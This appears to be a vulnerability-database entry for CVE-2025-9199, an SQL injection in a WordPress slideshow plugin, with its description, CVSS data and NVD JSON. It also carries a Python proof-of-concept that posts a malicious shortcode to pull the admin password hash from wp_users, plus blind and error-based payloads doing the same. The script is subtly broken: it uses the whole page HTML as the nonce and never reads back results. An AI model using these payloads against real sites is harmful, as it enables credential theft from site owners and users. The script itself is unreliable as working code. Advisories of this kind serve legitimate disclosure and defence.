Security Vulnerability Report
中文
CVE-2025-9199 CVSS 6.5 MEDIUM

CVE-2025-9199

Published: 2025-10-03 12:15:47
Last Modified: 2026-04-15 00:35:42

Description

The Woo superb slideshow transition gallery with random effect plugin for WordPress is vulnerable to SQL Injection via the 'woo-superb-slideshow' shortcode in all versions up to, and including, 9.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Woo superb slideshow transition gallery with random effect <= 9.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9199 - Woo Superb Slideshow SQL Injection PoC # Vulnerability: SQL Injection via 'woo-superb-slideshow' shortcode parameter # Affected: All versions up to and including 9.1 # Required: Contributor-level WordPress account import requests from urllib.parse import quote TARGET_URL = "http://target-wordpress-site.com" USERNAME = "contributor_user" PASSWORD = "contributor_password" def exploit_sql_injection(target_url, username, password): """ Exploits SQL injection in woo-superb-slideshow shortcode to extract sensitive data from WordPress database. """ session = requests.Session() # Step 1: Login as Contributor login_url = f"{target_url}/wp-login.php" session.post(login_url, data={ 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f'{target_url}/wp-admin/post-new.php', 'testcookie': '1' }) # Step 2: Craft malicious shortcode with SQL injection payload # The injection targets the shortcode parameter which is directly # concatenated into SQL query without proper escaping/preparation sql_payload = "1 UNION SELECT user_pass FROM wp_users WHERE ID=1-- -" malicious_shortcode = f'[woo-superb-slideshow id="{sql_payload}"]' # Step 3: Submit post containing the malicious shortcode post_url = f"{target_url}/wp-admin/post.php" nonce = session.get(f"{target_url}/wp-admin/post-new.php").text # Extract nonce from page (simplified) post_data = { 'post_title': 'Test Post', 'post_content': malicious_shortcode, 'post_status': 'publish', 'post_type': 'post', '_wpnonce': nonce, 'action': 'editpost' } response = session.post(post_url, data=post_data) print(f"[*] Post submitted. Status: {response.status_code}") # Step 4: Trigger the injection by viewing the post # The SQL query executes when the shortcode is rendered # Extracted data appears in the rendered page or via time-based blind techniques return True # Time-based blind SQLi alternative payload: # id="1 AND (SELECT SLEEP(5))-- -" # Error-based payload: # id="1 AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT user_pass FROM wp_users LIMIT 1)))-- -" if __name__ == "__main__": exploit_sql_injection(TARGET_URL, USERNAME, PASSWORD)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9199", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:46.553", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Woo superb slideshow transition gallery with random effect plugin for WordPress is vulnerable to SQL Injection via the 'woo-superb-slideshow' shortcode in all versions up to, and including, 9.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/woo-superb-slideshow-transition-gallery-with-random-effect/trunk/woo-superb-slideshow-transition-gallery-with-random-effect.php#L61", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8e4c42e6-92f3-4c2f-8748-877c6df39e62?source=cve", "source": "[email protected]"}]}}